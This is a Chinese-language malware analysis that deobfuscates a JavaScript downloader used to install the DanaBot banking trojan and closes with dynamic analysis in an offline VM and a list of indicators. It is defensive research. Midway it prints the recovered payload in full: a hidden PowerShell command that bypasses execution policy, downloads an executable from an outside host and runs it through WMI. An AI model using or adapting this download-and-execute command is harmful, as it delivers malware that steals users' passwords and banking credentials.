导语:本文分析的downloader(下载器)被用于将DanaBot(银行木马)安装到用户系统上。普通的Javascript downloader并不难分析,但是DanaBot的Javascript Downloader使用了有很多混淆技术,而且我从未在普通downloader或dropper见过如此多的混淆
本文分析的downloader(下载器)被用于将DanaBot(银行木马)安装到用户系统上。普通的Javascript downloader并不难分析,但是DanaBot的Javascript Downloader使用了有很多混淆技术,而且我从未在普通downloader或dropper见过如此多的混淆。研究了静态分析部分之后,我选择在没有网络连接的VM上运行downloader,并且发现Powershell正在被执行。本文并没有对该downloader进行完整全面的分析,只是对其功能以及实现功能的方式进行了解释。
MD5哈希:51 e18ac9715e924b76bbcfaa68a54e98
第1个函数的分析
打开文件,首先看到的是变量nmnmnnmnnmnnnmnnmnmnm_0x3b21被用作大量字符串的列表。像Wscript.shell这种字符串可以帮助我们了解这个样本是如何实现它的主要目标——下载第二阶段或最后阶段的payload。简单来说,当我分析纯文本droppers/downloaders时,如果它们像列表变量一样杂乱无章,我们则会对其默认名称进行重命名。与遍历整个文件并重命名遍历过程中遇到的每个字符串不同,Gedit以及大多数其他文本编辑器都有Find(查找) 和 Replace(替换)选项,我强烈建议使用该选项,不会丢失任何默认名称。对列表变量进行重命名之后,简单地列出,继续分析。
列表下面是第一个函数:
该函数看起来接收了两个参数,并且通过在原始函数中创建函数对一个变量进行初始化。启动一个while循环,每一次循环_0x11e646递减1。当变量值为0时,循环将中断。在循环内部,变量_0x2a34b0(参数1)使用参数为_0x2a34b0(还是第一个参数)的[' push ']。同时[' shift ']在该参数中被执行。然后运行_0x76e60a(++_0x587b4f);实现对该函数的实际调用。由于使用循环函数对_0x76e60a进行了初始化,_0x76e60a将执行循环,并传递_0x76e60a(参数2),并且每一次循环该值递增1。在函数末尾用参数执行函数。参数1是我们在开始部分看到的列表变量,0x97作为参数2被传递。把0x97转换成十进制,值是151,因此参数2的值是151。这一过程有些让人困惑,通过下面除去混淆的函数一切就清楚了:
第一个函数的主要目的是重新排列列表变量,以便为其他函数做准备。它从列表开头删除一个元素(一个字符串),并将其添加到末尾,每行152次。由于Var_1被调用了,并且151作为参数传递,因此是152次,而不是151。但是在传递给函数之前它以1递增。当在我的Ubuntu机器上做分析时,使用Mozilla的Javascript文档站点来执行重新排列列表变量的函数。
列表变量重排好之后,需要对列表进行分割,这样列表看起来比较清晰,而不是一个长长的表。可以使用Python中的.split调用轻松实现分割。我选择使用逗号进行分割,因此在运行脚本之后,需要将逗号添加到列表中。现在有了新的数组,第一个函数实际上就无用了:
第2个函数的分析
用新形成的列表替换了原来的列表,然后转到下一个函数:
这是另一个简单的去除混淆函数,主要是因为它只有三行。首先,nmnmnmnmnmnm_0x4ade通过一个接收两个参数的函数进行初始化。然后从参数1的值中减去0x0(0为十进制计数)。第一个参数用于查找列表中的值,发现的值存储在_0x19e953中,然后被用作返回值。当完全去除混淆时,函数如下:
我故意省略了第二个参数——因为它没有在任何一个参数中使用,因此该参数是没有意义的。此外,也不需要返回变量,因为可以立即返回列表中的值。该函数基本上是一个查找函数,因此可以从列表中提取参数,如下所示:
var Argument = Function_B(0x1);
在前两个函数之后,找到了三个全局变量:
第二个变量是空的,因此是"。第一个和第三个变量似乎利用最后一个函数从列表中获取变量来形成字符串。通过将新形成的字符串插入到Mozilla的开发站点并让它console.log()全局变量,可以轻松的获取整个字符串:
因此,一旦字符串形成,可以看到一些有趣的字符串,如pFoFwFeFrshFeFllF。在分析该文件时,我并没有过多地关注全局变量,而是重点关注函数。在撰写本文时,我决定删除第二个全局变量中的所有“F”,并收到以下输出:
uwOxaYrXhvHbyon.ShellExecute("CMd.Exe", "/c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'Gifts 20.1.1'; $OE.downloadfile('http://members.giftera.org/whuBcaJpqg.php','%tEmp%qlf44.exEKe-WmIMethod -ClaSs WiN32_ProcesS -NaMe CreaTe -ArgumENTLisT '%TeMp%qlf44.eXE'", "", "open", 0);
然后我决定从第一个全局变量中删除“OGXYx”,得到如下输出:
uwOxaYrXhvHbyon = new ActiveXObject("shell.applIcAtioN"); BvtXZziqOgswraCLu = "F"; jTkhyfgziXePwvcSE = "KXybHxaJYOdiCvDfcWQ";
继续进行分析,我将讨论嵌入的第二阶段脚本。
去除全局变量的混淆之后,就可以对downloader中最大最复杂的函数进行分析了。
该函数总共使用3个不同的数组来存储函数或值。这意味着对Array_1[“nWTXm”]的调用将执行带有两个参数的函数,并且还意味着在变量中存储Array_1[“aVnJm”]将给出字符串“EABLM”。数组中的许多函数也使用查找函数从主列表中获取变量。这意味着一个函数中嵌套了几个函数,会出现比较多的混乱。此外,该函数还创建了一些无用的、空白的函数或有需求的函数。其中的一个例子是主函数中使用的三元运算。新的函数将被创建为参数,其中一个函数在该参数中包含数据,另一个函数则完全为空。我简要地分析了这一点,它可能是是一个专门用于去除混淆的函数,除了执行第一个全局函数的eval()语句。
在函数的下方是文本的一部分,它并不属于该函数,因此它单独自己执行:
这段代码也使用查找函数来填充变量和字符串,因此看起来非常重要。首先,使用主列表——Wscript.shell中的第22项,创建一个新的ActiveXObject对象。然后downloader获取模板目录的句柄,加上“Google.url”——主列表中的第23项。主列表中的第24个元素是“CreateShortcut”。因此程序在模板目录中创建一个快捷方式。最后,列表中的第25个元素是“http://google.com”。该元素可能是正在为谷歌创建一个快捷方式。也许这段代码是用来查看恶意软件是否已经安装,因为它试图保存恶意软件,如果出现任何错误,则执行Gen_1,它包含第一个全局变量——同时“OGXYx”被删除,它是列表中的第18个元素。因此,我们可以确定Function_C仅仅是用来从变量中删除字符串的函数。
动态分析
本文的分析完成之后,可以继续进行一些动态分析,并提取正在运行的可能的嵌入式第二阶段。
打开虚拟机、断开网络,同时打开ProcessHacker。一执行downloader,会弹出Wscript.exe并立即消失,很快,生成一个powershell.exe进程。暂停进程,查看用于生成该进程的CMD命令,该命令是存储在第二个全局变量中的powershell脚本。清除完命令后,剩余如下:
该脚本隐藏运行并绕过执行策略。它创建一个WebClient对象,并将用户代理设置为“Gifts 20.1.1”。如果连接来自真正的机器人或安全研究人员或不知情的用户,这可能是一种建立连接的方式。php文件从members.giftera.org(该网址似乎已经降级)中下载,并作为可执行文件保存在%APPDATA%/Local/目录中,命名为Tempqlf44.exE。然后使用Invoke-WMIMethod执行此操作。下载的文件是DanaBot银行木马,它有Web注入、VNC和常规窃取功能(Chrome密码窃取、Windows Vault窃取等)。
IOC:
· Javascript Downloader: 51e18ac9715e924b76bbcfaa68a54e98
· (DanaBot) Possible Downloaded File: b8933454325692fe67acd1f58e6c55c3
· URL: hxxp://members.giftera.org/whuBcaJpqg.php
Downloaded to: AppData\Local\Tempqlf44.exE